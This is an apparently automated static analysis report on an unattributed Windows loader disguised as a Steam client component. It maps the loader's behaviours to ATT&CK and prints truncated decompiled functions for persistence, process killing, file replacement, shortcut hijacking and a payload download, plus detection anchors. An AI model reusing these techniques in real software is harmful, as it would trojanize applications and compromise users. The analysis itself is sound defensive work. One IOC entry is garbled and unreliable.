Static analysis · PE · 2026-10-29

Unattributed malicious

MaliciousRole: loaderFamily: not attributed

An 849 KB x64 PE built with Visual Studio 2019 (E15) that masquerades as a Steam client component (E16). It finds the Steam install directory through registry queries (B2, E2, E3), copies itself there (B5, E6), writes registry persistence (B3, E4) and hijacks shortcuts in six shell folders through IShellLink (B12, E14, E18). A Steam-looking lure window fires a timer that downloads a secondary payload (B1, B7, E1, E17). The installer first stops a service (B11, E13) and closes processes by name (B4, E5). Runtime strings are XOR-encoded (B9, E11). The operator gets a loader that replaces a legitimate application, persists, and fetches further stages while the victim keeps using Steam.

File

PE · 829 KB

nothing unpacked from it

Behaviours

12 reachable from the entry point

Code reached

56%

357 of 632 functions from the entry

Network

none in the IOC list

see the notable strings

Decoded strings

1 notable

Detection features

build scope

Open questions

reads the analysis attempted and stopped

sha256 3d2b12f8523f92e0e91f3041e2658b98ee07896c54043922ca73c7c17f19cdff

Read the full technical report → Every behaviour and indicator in detail, with the evidence, decoded strings, code and call graph.

How it runs

The behaviours as a flow, from the entry point: the checks that can end the run, then what it collects, then what it sends and what follows. Boxes follow the order of the analyst's account; a dashed box is code whose path from the entry is not proven. Static analysis: not an observed run.

Throughout: xor_string_decode (B9).

What it does in the full report →

The CRT stub passes the module handle to WinMain (B7, E8). WinMain resolves CopyFileW and MoveFileW dynamically from kernel32, then calls the installer at 0x140007950 (B5, E6).

The installer checks for elevation through OpenProcessToken and GetTokenInformation (B10, E12). If not elevated it relaunches itself with the runas verb and exits. Elevated, it opens a service through OpenSCManager and sends a stop control (B11, E13), then walks a process snapshot, compares names and posts WM_CLOSE to matching windows (B4, E5). This clears the target application before it is overwritten.

The file-replace function at 0x140007680 deletes the original Steam executable and copies the sample over it with the dynamically resolved CopyFileW and MoveFileW (B8, E10). The persistence function at 0x140006d70 writes shell-open-command and uninstall keys under HKCU and HKLM, with XOR-decoded key names and a random sleep (B3, E4). A helper at 0x140005f00 reads the Steam path from HKLM SOFTWARE WOW6432Node and per-user uninstall keys (B2, E2, E3; I1).

The installer then searches six shell folders (Desktop, Start Menu, AppData and their common counterparts) recursively to depth 9, matching with PathMatchSpecW (B6, E7). The hijacker at 0x140007270 loads each .lnk through IShellLink, compares the target filename with wcsicoll and rewrites the target path, arguments and icon to the installed copy (B12, E14, E18). A helper at 0x140007150 normalizes the link extension (E20). Launching the copy from any shortcut gives the operator execution each time the victim starts Steam.

On success WinMain extracts the Steam icon with ExtractIconW, registers a window class and creates a 700x500 layered window (B7, E8). The lure parses URL navigation events and launches them with ShellExecuteW (E9). Its WndProc, at 0x140005ae0, sets timer 1; the WM_TIMER handler kills the timer and calls the download function at 0x140005750, which fetches a file to the temp directory with URLDownloadToFileW from an XOR-decoded URL (B1, E1, E17). WM_SIZE applies a 12 px rounded region (E17, E19).

Two decode mechanisms protect strings: a 0x5A5A word XOR for registry paths and a DWORD key at 0x14002a510 applied to a 560-byte block at 0x14002a2e0 (B9, E11).

Not recovered: the decoded download URL, file names, service name, process names, registry paths and shortcut wildcard, because the decode was only read statically (U1); the ten RCDATA resources (IDs 103-113, about 650 KB), which are data and text of entropy 4.67-6.07 (U4).

Behaviour	From the entry	ATT&CK	Evidence
file_download	reachable	T1105	E1 E17
steam_path_resolution	reachable	T1012	E2 E3
registry_persistence	reachable	T1547.001 T1112	E4
process_enumeration_and_kill	reachable	T1057 T1489	E5
self_install	reachable	T1547.001	E6
recursive_file_search	reachable	T1083	E7
gui_lure_window	reachable	T1204.002	E8 E9 E17 E19
file_replacement	reachable	T1547.001	E10
xor_string_decode	reachable	T1140	E11
uac_elevation	reachable	T1548.002	E12
service_stop	reachable	T1489	E13
shortcut_hijack	reachable	T1547.009	E14 E18 E20

How much of the code was read functions →

The native call graph found 632 internal functions and reached 357 from entry. Dispatch resolution raised that to 390 (62%); the Ghidra graph agrees with the native one at 357. Of the 242 unreached functions, CRT and library code were filtered by Ghidra FID and capa library rules; 25 unresolved call sites remain in reached code, so the unreached set stays possibly reached.

What it talks to and touches in the full report →

Network values are defanged (hxxp, [.]); restore them before use. A dead drop sits on a public service: match the full URL, never block the domain. Host artefacts are files, paths and registry keys the sample targets or creates.

Kind	Type	Role	Value	Evidence
host artefact	registry_key	other	Saianihttps://plau.cohttps://plau.co	E2

Notable strings all 10 decoded strings →

Picked from the decoded strings by simple pattern rules. They show what the code refers to, not what it was seen doing.

Browser or app data	`\Valve\Steam`

Verdict and detection opportunities all anchor details →

Malicious loader (E2, E6, E8, E11, E14, E17, E18), confidence 0.4. No family is assigned: nothing known matches the combination of a Steam-path lure window, shortcut hijack and XOR-decoded download, which agrees with the cluster label pe/unk.steamlure-28f2b618.

Strongest anchors: A3, the installer function, whose structure holds the elevation, service stop, process kill, file replacement and persistence logic (E6). A1, the Steam registry query sequence with XOR-decoded subkey in the function at 0x140006170, is the targeting mechanism and would need a rewrite to change (E2, E3). A2, the DWORD-block XOR with 0x5A5A tail, is distinctive and build-specific (E11). A4 (rich header, E15) and A5 (version info, E16) are metadata filters that change on recompile or edit.

Features a rule could match on, as proposed by the analysis. None is a rule until CORD Detection has measured it against clean software.

ID	What to match	Scope	Scan type	How stable	Possible false matches
A1	Steam registry query sequence in FUN_140006170 with XOR-decoded subkey followed by per-user uninstall lookup	build	realtime	behavioural_template; The Steam registry check is the targeting mechanism and would require a rewrite to change	Legitimate Steam tools reading the same registry path; filter by caller context
A2	XOR decode pattern: DWORD blocks from 0x14002a510 XORed against data blocks, followed by 0x5a5a short XOR tail loop	build	batch	config; The XOR key value is build-specific but the combined DWORD plus 0x5a5a pattern is distinctive	None expected; combined key pattern is unusual
A3	Installer function at 0x140007950 containing GetModuleFileNameW, Steam path resolution, SHCreateDirectoryExW, UAC elevation, service stop, process kill loop, file replacement and persistence setup	build	realtime	behavioural_template; The function structure encodes the entire install logic	None expected
A4	PE rich header with 12 entries and max build 34435	build	batch	structural_constant; Tied to this build's toolchain; changes on recompile	Other VS2019 builds with the same tool versions; filter by other anchors
A5	PE version info with 8 fields including a 95-char InternalName	build	realtime	config; Version info is easily changed but is a fast first filter	Other samples using the same spoofed version info

Open questions in the full report →

What are the XOR-decoded runtime strings (download URL, filenames, service name, process names, registry paths, shortcut wildcard)?
Why it stopped: Decode request deferred to a helper unit; emulation needed
What do the 10 RCDATA resources (IDs 103-113, 650 KB total) contain?
Why it stopped: Resource decode request deferred; likely embedded web content for the GUI lure

Full technical report

CORD Research report r20261028-1

loader

sha2563d2b12f8523f92e0e91f3041e2658b98ee07896c54043922ca73c7c17f19cdff

not blind model claude-opus-4-6 · medium input 20.8M output ~131k time 39 min 43 s schema cord-research.report/1.5.0 source report.json

Originalloader0.4

Summary

Behaviour

The CRT stub passes the module handle to WinMain (B7, E8). WinMain resolves CopyFileW and MoveFileW dynamically from kernel32, then calls the installer at 0x140007950 (B5, E6).

Two decode mechanisms protect strings: a 0x5A5A word XOR for registry paths and a DWORD key at 0x14002a510 applied to a 560-byte block at 0x14002a2e0 (B9, E11).

Reach

Verdict and anchors

12behaviours 1IOCs 5anchors 2unknowns 18functions decompiled 20evidence items

Terms used in this report

Original file, unpacked file: The original file is the sample as collected. An unpacked file is one the analysis extracted or decoded from it, numbered in order (in report.json: L0, L1, L2…).
Reachable from the entry point: The static call graph shows a path from where the program starts to this code. It does not mean the code was seen running.
Code present, path not proven: The code is in the file, but the analysis could not prove a route to it, usually because of indirect calls or jump tables.
B, E, A, U, D numbers: Behaviours, evidence items, detection anchors, open questions (unknowns) and derived files (such as decoded strings). Every claim cites the evidence items it rests on.
API hashing: Looking up Windows functions at run time by a hash of their name, so the names never appear in the file.
MBA: Mixed boolean-arithmetic: computing a simple constant through a tangle of AND, OR, XOR and arithmetic.
ATT&CK, MBC: Public catalogues of attacker techniques (MITRE ATT&CK) and malware behaviours (MBC).
IOC: Indicator of compromise: a value, such as a domain or file name, that shows up on an infected host or network.

Behaviours at a glance

B1 file_downloadT1105
B2 steam_path_resolutionT1012
B3 registry_persistenceT1547.001 T1112
B4 process_enumeration_and_killT1057 T1489
B5 self_installT1547.001
B6 recursive_file_searchT1083
B7 gui_lure_windowT1204.002
B8 file_replacementT1547.001
B9 xor_string_decodeT1140
B10 uac_elevationT1548.002
B11 service_stopT1489
B12 shortcut_hijackT1547.009

Sample and layers

gated no

id	size	verdict	sha256	format
Original	848896		3d2b12f8…7f19cdff	PE
L0 · verdict classification malicious role loader capability — family — confidence 0.4 evidence E2, E6, E8, E11, E14

Verdict

What the analysis concludes the sample is, how confident it is, and the evidence that conclusion rests on.

Original

loader

confidence 0.4

classification: malicious
role: loader
why: cluster label unk.steamlure; no known family matches the combination of Steam-path lure window, shortcut hijack and XOR-decoded download
evidence: E2, E6, E8, E11, E14

What it does 12

Each behaviour the analysis found, with the techniques it maps to and whether the code is reachable from where the program starts. Open "Show the evidence" to see what each claim rests on, with code previews; full functions are under Code.

file_download

T1105file Originalreachability reachable from the entry point

MBC: none
functions: 0x1400057500x140005ae0

Show the evidence · 2 items: E1, E17

read from the file·function

0x140005750

Downloads a file via URLDownloadToFileW to temp directory from a XOR-decoded URL

downloads a file from a XOR-decoded URL… · decompiled C, first 30 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140005750(void)

{
  bool bVar1;
  bool bVar2;
  int iVar3;
  DWORD DVar4;
  HRESULT HVar5;
  BOOL BVar6;
  undefined8 uVar7;
  longlong *plVar8;
  undefined1 auStackY_4e8 [32];
  short *local_4b8;
  short *local_4b0;
  SHELLEXECUTEINFOW local_4a8;
  uint local_438;
  uint uStack_434;
  uint uStack_430;
  uint uStack_42c;
  uint local_428;
  uint uStack_424;
  uint uStack_420;
  uint uStack_41c;
  uint local_418;
  uint uStack_414;
  uint uStack_410;
/* … 118 more lines */

Full function, callers and assembly →

E17

read from the file·function

0x140005ae0

WndProc handles WM_TIMER id 1 by killing the timer and calling the downloader at 0x140005750; handles WM_DESTROY with COM release and PostQuitMessage; handles WM_SIZE with rounded-region resize

wndProc · decompiled C, first 30 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140005ae0(HWND param_1,UINT param_2,WPARAM param_3,LPARAM param_4)

{
  undefined1 auStack_58 [32];
  LONG local_38;
  LONG LStack_34;
  LONG LStack_30;
  LONG LStack_2c;
  tagRECT local_28;
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStack_58;
  if (param_2 == 2) {
    if (DAT_14002ffd0 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffd0 + 0x10))();
      DAT_14002ffd0 = (longlong *)0x0;
    }
    if (DAT_14002ffa8 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffa8 + 0x10))();
      DAT_14002ffa8 = (longlong *)0x0;
    }
    if (DAT_14002ffd8 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffd8 + 0x10))();
      DAT_14002ffd8 = (longlong *)0x0;
    }
    if (DAT_14002ffb0 != (LPVOID)0x0) {
      FUN_1400112a8(DAT_14002ffb0);
/* … 26 more lines */

Full function, callers and assembly →

steam_path_resolution

T1012file Originalreachability reachable from the entry point

MBC: none
functions: 0x1400061700x140005f00

Show the evidence · 2 items: E2, E3

read from the file·function

0x140006170

Queries Steam install path from HKLM\SOFTWARE\WOW6432Node\Valve\Steam and per-user uninstall keys

resolves the Steam install path by… · decompiled C, first 30 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140006170(LPWSTR param_1)

{
  LSTATUS LVar1;
  DWORD DVar2;
  int iVar3;
  undefined1 (*pauVar4) [16];
  ulonglong uVar5;
  undefined **ppuVar6;
  undefined **ppuVar7;
  undefined1 auStackY_908 [32];
  DWORD local_8d8 [2];
  HKEY local_8d0;
  uint local_8c8;
  uint uStack_8c4;
  uint uStack_8c0;
  uint uStack_8bc;
  uint local_8b8;
  uint uStack_8b4;
  uint uStack_8b0;
  uint uStack_8ac;
  ushort auStack_8a8 [4];
  undefined2 local_8a0;
  WCHAR local_868 [264];
  WCHAR local_658 [264];
  WCHAR local_448 [264];
/* … 80 more lines */

Full function, callers and assembly →

read from the file·function

0x140005f00

Opens per-user uninstall registry keys with RegOpenKeyExW and reads the install path with RegQueryValueExW

reads per-user uninstall registry… · decompiled C, first 30 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140005f00(HKEY param_1,LPCWSTR param_2,LPWSTR param_3)

{
  LSTATUS LVar1;
  WCHAR *pWVar2;
  undefined1 auStackY_268 [32];
  DWORD local_238;
  DWORD local_234;
  HKEY local_230;
  WCHAR local_228 [264];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_268;
  LVar1 = RegOpenKeyExW(param_1,param_2,0,0x20019,&local_230);
  if (LVar1 == 0) {
    local_238 = 0x208;
    local_234 = 0;
    LVar1 = RegQueryValueExW(local_230,L"SteamExe",(LPDWORD)0x0,&local_234,(LPBYTE)local_228,
                             &local_238);
    if (((LVar1 != 0) || (local_234 != 1)) || (local_228[0] == L'\0')) {
      local_238 = 0x208;
      LVar1 = RegQueryValueExW(local_230,L"SteamPath",(LPDWORD)0x0,&local_234,(LPBYTE)local_228,
                               &local_238);
      if ((LVar1 != 0) || (local_228[0] == L'\0')) {
        RegCloseKey(local_230);
      }
      pWVar2 = local_228;
/* … 14 more lines */

Full function, callers and assembly →

registry_persistence

T1547.001 T1112file Originalreachability reachable from the entry point

MBC: none
functions: 0x140006d700x1400069500x140006bb0

Show the evidence · 1 item: E4

read from the file·function

0x140006d70

Creates registry persistence entries under HKCU and HKLM with XOR-decoded key names and random sleep

sets up registry persistence under HKCU… · decompiled C, first 30 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140006d70(wchar_t *param_1,BYTE *param_2,BYTE *param_3)

{
  wchar_t *pwVar1;
  longlong lVar2;
  DWORD DVar3;
  DWORD DVar4;
  int iVar5;
  LSTATUS LVar6;
  wchar_t *pwVar7;
  longlong lVar8;
  ulonglong uVar9;
  longlong lVar10;
  undefined1 auStackY_528 [32];
  HKEY local_4d8 [2];
  uint local_4c8;
  uint uStack_4c4;
  uint uStack_4c0;
  uint uStack_4bc;
  uint local_4b8;
  uint uStack_4b4;
  uint uStack_4b0;
  uint uStack_4ac;
  ushort auStack_4a8 [4];
  undefined2 local_4a0;
  wchar_t local_468 [264];
/* … 94 more lines */

Full function, callers and assembly →

process_enumeration_and_kill

T1057 T1489file Originalreachability reachable from the entry point

MBC: none
functions: 0x1400064c00x140006770

Show the evidence · 1 item: E5

read from the file·function

0x1400064c0

Enumerates running processes with CreateToolhelp32Snapshot and sends WM_CLOSE via PostMessageW to matches

enumerates processes via… · decompiled C, first 30 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_1400064c0(int param_1,undefined4 *param_2)

{
  int iVar1;
  DWORD DVar2;
  HANDLE hObject;
  HWND hWnd;
  undefined4 uVar3;
  undefined1 auStack_298 [32];
  DWORD local_278 [4];
  undefined4 local_268;
  undefined1 local_264 [4];
  DWORD local_260;
  wchar_t local_23c [266];
  ulonglong local_28;
  
  local_28 = DAT_14002e040 ^ (ulonglong)auStack_298;
  uVar3 = 0;
  hObject = (HANDLE)CreateToolhelp32Snapshot(2);
  if (hObject == (HANDLE)0xffffffffffffffff) {
    if (param_2 != (undefined4 *)0x0) {
      *param_2 = 0;
    }
  }
  else {
    FUN_14001db40((undefined1 (*) [32])local_264,0,0x234);
    local_268 = 0x238;
/* … 49 more lines */

Full function, callers and assembly →

self_install

T1547.001file Originalreachability reachable from the entry point

MBC: none
functions: 0x140007950

Show the evidence · 1 item: E6

read from the file·function

0x140007950

Main installer: copies self to Steam directory, elevates via UAC, stops service, kills processes, replaces files

the main installer · decompiled C, first 30 lines

/* WARNING: Function: __chkstk replaced with injection: alloca_probe */
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140007950(void)

{
  wchar_t *pwVar1;
  bool bVar2;
  int iVar3;
  DWORD DVar4;
  BOOL BVar5;
  DWORD DVar6;
  int iVar7;
  int iVar8;
  longlong lVar9;
  longlong lVar10;
  undefined7 extraout_var;
  undefined7 extraout_var_00;
  HANDLE pvVar11;
  SC_HANDLE hSCManager;
  SC_HANDLE hService;
  wchar_t *pwVar12;
  uint uVar13;
  ulonglong uVar14;
  ulonglong uVar15;
  undefined1 auStackY_1458 [32];
  _SERVICE_STATUS local_1418;
  _WIN32_FIND_DATAW local_13f8;
/* … 276 more lines */

Full function, callers and assembly →

recursive_file_search

T1083file Originalreachability reachable from the entry point

MBC: E1083
functions: 0x140007520

Show the evidence · 1 item: E7

read from the file·function

0x140007520

Recursively searches directories to depth 9 matching files with PathMatchSpecW

recursively searches directories to… · decompiled C, first 30 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140007520(short *param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4,
                  int param_5)

{
  BOOL BVar1;
  HANDLE hFindFile;
  undefined1 auStackY_6e8 [32];
  _WIN32_FIND_DATAW local_6b8;
  short local_468 [264];
  WCHAR local_258 [264];
  ulonglong local_48;
  
  local_48 = DAT_14002e040 ^ (ulonglong)auStackY_6e8;
  if (((param_5 < 9) && (param_1 != (short *)0x0)) && (*param_1 != 0)) {
    FUN_140003f60(local_258,0x104,0x140029fd8,param_1);
    hFindFile = FindFirstFileW(local_258,&local_6b8);
    if (hFindFile != (HANDLE)0xffffffffffffffff) {
      do {
        if (local_6b8.cFileName[0] != L'.') {
          FUN_140003f60(local_468,0x104,0x140029fe8,param_1);
          if (((byte)local_6b8.dwFileAttributes & 0x10) == 0) {
            BVar1 = PathMatchSpecW(local_6b8.cFileName,L"*.lnk");
            if (BVar1 != 0) {
              FUN_140007270(local_468,param_2,param_3,param_4);
            }
          }
          else {
/* … 10 more lines */

Full function, callers and assembly →

gui_lure_window

T1204.002file Originalreachability reachable from the entry point

MBC: none
functions: 0x1400086500x140004c500x140005ae00x140005a60

Show the evidence · 4 items: E8, E9, E17, E19

read from the file·function

0x140008650

WinMain creates a 700x500 layered window with Steam icon via ExtractIconW and enters the message pump

winMain · decompiled C, first 30 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140008650(HINSTANCE param_1)

{
  int iVar1;
  DWORD DVar2;
  int iVar3;
  HMODULE hModule;
  HCURSOR pHVar4;
  HICON pHVar5;
  undefined1 auStackY_338 [32];
  undefined4 local_2d8 [4];
  WNDCLASSEXW local_2c8;
  tagMSG local_278;
  undefined4 local_248;
  undefined4 local_244;
  undefined2 local_240;
  WCHAR local_228 [264];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_338;
  SetProcessDPIAware();
  CoInitializeEx((LPVOID)0x0,2);
  DAT_14002ffb8 = (FARPROC)0x0;
  DAT_14002ffc0 = (FARPROC)0x0;
  hModule = GetModuleHandleW(L"kernel32.dll");
  if (hModule != (HMODULE)0x0) {
    local_248 = 0x79706f43;
/* … 69 more lines */

Full function, callers and assembly →

read from the file·function

0x140004c50

Parses URL navigation events from the lure window and launches them with ShellExecuteW

handles URL navigation events from the… · decompiled C, first 30 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140004c50(undefined8 param_1,undefined8 param_2,longlong *param_3)

{
  int iVar1;
  undefined1 (*pauVar2) [16];
  undefined1 (*pauVar3) [16];
  ushort *puVar4;
  ushort *puVar5;
  undefined1 auStackY_458 [32];
  undefined1 (*local_428 [2]) [16];
  WCHAR local_418 [512];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_458;
  local_428[0] = (undefined1 (*) [16])0x0;
  iVar1 = (**(code **)(*param_3 + 0x28))(param_3,local_428);
  pauVar3 = local_428[0];
  if (iVar1 < 0) {
  }
  if (local_428[0] != (undefined1 (*) [16])0x0) {
    pauVar2 = FUN_140009ae0(local_428[0],(undefined1 (*) [16])L"\"close\"");
    if (pauVar2 == (undefined1 (*) [16])0x0) {
      pauVar2 = FUN_140009ae0(pauVar3,(undefined1 (*) [16])L"\"drag\"");
      if (pauVar2 == (undefined1 (*) [16])0x0) {
        pauVar2 = FUN_140009ae0(pauVar3,(undefined1 (*) [16])L"\"openurl\"");
        if ((((pauVar2 != (undefined1 (*) [16])0x0) &&
             (pauVar3 = FUN_140009ae0(pauVar3,(undefined1 (*) [16])L"\"url\""),
/* … 20 more lines */

Full function, callers and assembly →

E17

read from the file·function

0x140005ae0

WndProc handles WM_TIMER id 1 by killing the timer and calling the downloader at 0x140005750; handles WM_DESTROY with COM release and PostQuitMessage; handles WM_SIZE with rounded-region resize

wndProc · decompiled C, first 30 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140005ae0(HWND param_1,UINT param_2,WPARAM param_3,LPARAM param_4)

{
  undefined1 auStack_58 [32];
  LONG local_38;
  LONG LStack_34;
  LONG LStack_30;
  LONG LStack_2c;
  tagRECT local_28;
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStack_58;
  if (param_2 == 2) {
    if (DAT_14002ffd0 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffd0 + 0x10))();
      DAT_14002ffd0 = (longlong *)0x0;
    }
    if (DAT_14002ffa8 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffa8 + 0x10))();
      DAT_14002ffa8 = (longlong *)0x0;
    }
    if (DAT_14002ffd8 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffd8 + 0x10))();
      DAT_14002ffd8 = (longlong *)0x0;
    }
    if (DAT_14002ffb0 != (LPVOID)0x0) {
      FUN_1400112a8(DAT_14002ffb0);
/* … 26 more lines */

Full function, callers and assembly →

E19

read from the file·function

0x140005a60

Creates a rounded rectangle window region with 12px corner radius via CreateRoundRectRgn and SetWindowRgn

creates rounded rectangle window region… · decompiled C, first 30 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140005a60(HWND param_1)

{
  HRGN hRgn;
  undefined1 auStackY_58 [32];
  tagRECT local_28;
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_58;
  GetWindowRect(param_1,&local_28);
  hRgn = CreateRoundRectRgn(0,0,(local_28.right - local_28.left) + 1,
                            (local_28.bottom - local_28.top) + 1,0xc,0xc);
  SetWindowRgn(param_1,hRgn,1);
}

Full function, callers and assembly →

file_replacement

T1547.001file Originalreachability reachable from the entry point

MBC: none
functions: 0x140007680

Show the evidence · 1 item: E10

E10

read from the file·function

0x140007680

Replaces target files using dynamically resolved CopyFileW and MoveFileW with prior deletion

replaces files using dynamically… · decompiled C, first 30 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140007680(LPCWSTR param_1,LPCWSTR param_2,undefined8 param_3)

{
  DWORD DVar1;
  int iVar2;
  DWORD DVar3;
  BOOL BVar4;
  undefined8 uVar5;
  longlong lVar6;
  undefined1 auStack_6b8 [32];
  wchar_t *local_698;
  wchar_t *local_688 [4];
  WCHAR local_668 [264];
  WCHAR local_458 [264];
  WCHAR local_248 [264];
  ulonglong local_38;
  
  local_38 = DAT_14002e040 ^ (ulonglong)auStack_6b8;
  if ((((param_2 != (LPCWSTR)0x0) && (*param_2 != L'\0')) &&
      (uVar5 = param_3, DVar1 = GetFileAttributesW(param_2), DVar1 != 0xffffffff)) &&
     (iVar2 = FUN_140005d10(param_1,param_2,(DWORD)uVar5), iVar2 != 0)) {
  }
  if (DAT_14002ffb8 == 0) {
  }
  if (DAT_14002ffc0 != (code *)0x0) {
    local_688[0] = L"steam.orig.exe";
    lVar6 = 0;
/* … 49 more lines */

Full function, callers and assembly →

xor_string_decode

T1140file Originalreachability reachable from the entry point

MBC: C0031.001
functions: 0x1400057500x140006d700x140006170

Show the evidence · 1 item: E11

E11

read from the file·address range

0x14002a2e0

XOR decode uses a DWORD key at DAT_14002a510 applied against a 560-byte data block starting at 0x14002a2e0 with a 0x5a5a short-XOR tail

Bytes · 560 at 0x14002a2e0

14002a2e0  32 5a 2e 5a 2e 5a 2a 5a 29 5a 60 5a 75 5a 75 5a  2Z.Z.Z*Z)Z`ZuZuZ
14002a2f0  3d 5a 35 5a 74 5a 37 5a 33 5a 39 5a 28 5a 35 5a  =Z5ZtZ7Z3Z9Z(Z5Z
14002a300  29 5a 35 5a 3c 5a 2e 5a 74 5a 39 5a 35 5a 37 5a  )Z5Z<Z.ZtZ9Z5Z7Z
14002a310  75 5a 3c 5a 2d 5a 36 5a 33 5a 34 5a 31 5a 75 5a  uZ<Z-Z6Z3Z4Z1ZuZ
14002a320  2a 5a 75 5a 65 5a 16 5a 33 5a 34 5a 31 5a 13 5a  *ZuZeZ.Z3Z4Z1Z.Z
14002a330  3e 5a 67 5a 68 5a 6b 5a 68 5a 6e 5a 6d 5a 6a 5a  >ZgZhZkZhZnZmZjZ
14002a340  69 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00  iZ..............
14002a350  d0 9a 02 40 01 00 00 00 18 9b 02 40 01 00 00 00  ...@.......@....
… cut at 128 of 560 bytes

B10

uac_elevation

T1548.002file Originalreachability reachable from the entry point

MBC: none
functions: 0x1400079500x140005e80

Show the evidence · 1 item: E12

E12

read from the file·function

0x140005e80

Checks admin privileges via OpenProcessToken and GetTokenInformation for TokenElevation

checks admin privileges via… · decompiled C, first 30 lines

undefined4 FUN_140005e80(void)

{
  BOOL BVar1;
  HANDLE ProcessHandle;
  undefined4 uVar2;
  DWORD local_res8 [2];
  int local_res10 [2];
  HANDLE local_res18 [2];
  
  uVar2 = 0;
  local_res18[0] = (HANDLE)0x0;
  ProcessHandle = GetCurrentProcess();
  BVar1 = OpenProcessToken(ProcessHandle,8,local_res18);
  if (BVar1 == 0) {
    return 0;
  }
  local_res8[0] = 4;
  BVar1 = GetTokenInformation(local_res18[0],TokenElevation,local_res10,4,local_res8);
  if ((BVar1 != 0) && (local_res10[0] != 0)) {
    uVar2 = 1;
  }
  CloseHandle(local_res18[0]);
  return uVar2;
}

Full function, callers and assembly →

B11

service_stop

T1489file Originalreachability reachable from the entry point

MBC: none
functions: 0x140007950

Show the evidence · 1 item: E13

E13

read from the file·function

0x140007950

Calls OpenSCManager and ControlService to stop a service before file replacement

the main installer · decompiled C, first 30 lines

/* WARNING: Function: __chkstk replaced with injection: alloca_probe */
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140007950(void)

{
  wchar_t *pwVar1;
  bool bVar2;
  int iVar3;
  DWORD DVar4;
  BOOL BVar5;
  DWORD DVar6;
  int iVar7;
  int iVar8;
  longlong lVar9;
  longlong lVar10;
  undefined7 extraout_var;
  undefined7 extraout_var_00;
  HANDLE pvVar11;
  SC_HANDLE hSCManager;
  SC_HANDLE hService;
  wchar_t *pwVar12;
  uint uVar13;
  ulonglong uVar14;
  ulonglong uVar15;
  undefined1 auStackY_1458 [32];
  _SERVICE_STATUS local_1418;
  _WIN32_FIND_DATAW local_13f8;
/* … 276 more lines */

Full function, callers and assembly →

B12

shortcut_hijack

T1547.009file Originalreachability reachable from the entry point

MBC: none
functions: 0x1400079500x1400075200x1400072700x140007150

Show the evidence · 3 items: E14, E18, E20

E14

read from the file·function

0x140007950

Scans 6 folders (Desktop, Programs, etc.) for shortcut files and replaces them to hijack execution

the main installer · decompiled C, first 30 lines

/* WARNING: Function: __chkstk replaced with injection: alloca_probe */
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140007950(void)

{
  wchar_t *pwVar1;
  bool bVar2;
  int iVar3;
  DWORD DVar4;
  BOOL BVar5;
  DWORD DVar6;
  int iVar7;
  int iVar8;
  longlong lVar9;
  longlong lVar10;
  undefined7 extraout_var;
  undefined7 extraout_var_00;
  HANDLE pvVar11;
  SC_HANDLE hSCManager;
  SC_HANDLE hService;
  wchar_t *pwVar12;
  uint uVar13;
  ulonglong uVar14;
  ulonglong uVar15;
  undefined1 auStackY_1458 [32];
  _SERVICE_STATUS local_1418;
  _WIN32_FIND_DATAW local_13f8;
/* … 276 more lines */

Full function, callers and assembly →

E18

read from the file·function

0x140007270

Uses IShellLink COM to load shortcut files, compares target filename via wcsicoll, then replaces target path, arguments and icon on matching shortcuts

hijacks shortcut files via IShellLink… · decompiled C, first 30 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140007270(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  bool bVar1;
  bool bVar2;
  HRESULT HVar3;
  int iVar4;
  LPWSTR _Str1;
  LPWSTR pWVar5;
  undefined1 auStackY_708 [32];
  longlong *local_6d8;
  longlong *local_6d0;
  undefined4 local_6c8 [4];
  undefined1 local_6b8 [592];
  WCHAR local_468 [264];
  WCHAR local_258 [264];
  ulonglong local_48;
  
  local_48 = DAT_14002e040 ^ (ulonglong)auStackY_708;
  _Str1 = (wchar_t *)0x0;
  bVar2 = false;
  local_6d8 = (longlong *)0x0;
  local_6d0 = (longlong *)0x0;
  local_6c8[0] = 0;
  HVar3 = CoCreateInstance((IID *)&DAT_140020348,(LPUNKNOWN)0x0,1,(IID *)&DAT_14002a4e0,&local_6d8);
  if (HVar3 < 0) {
  }
/* … 56 more lines */

Full function, callers and assembly →

E20

read from the file·function

0x140007150

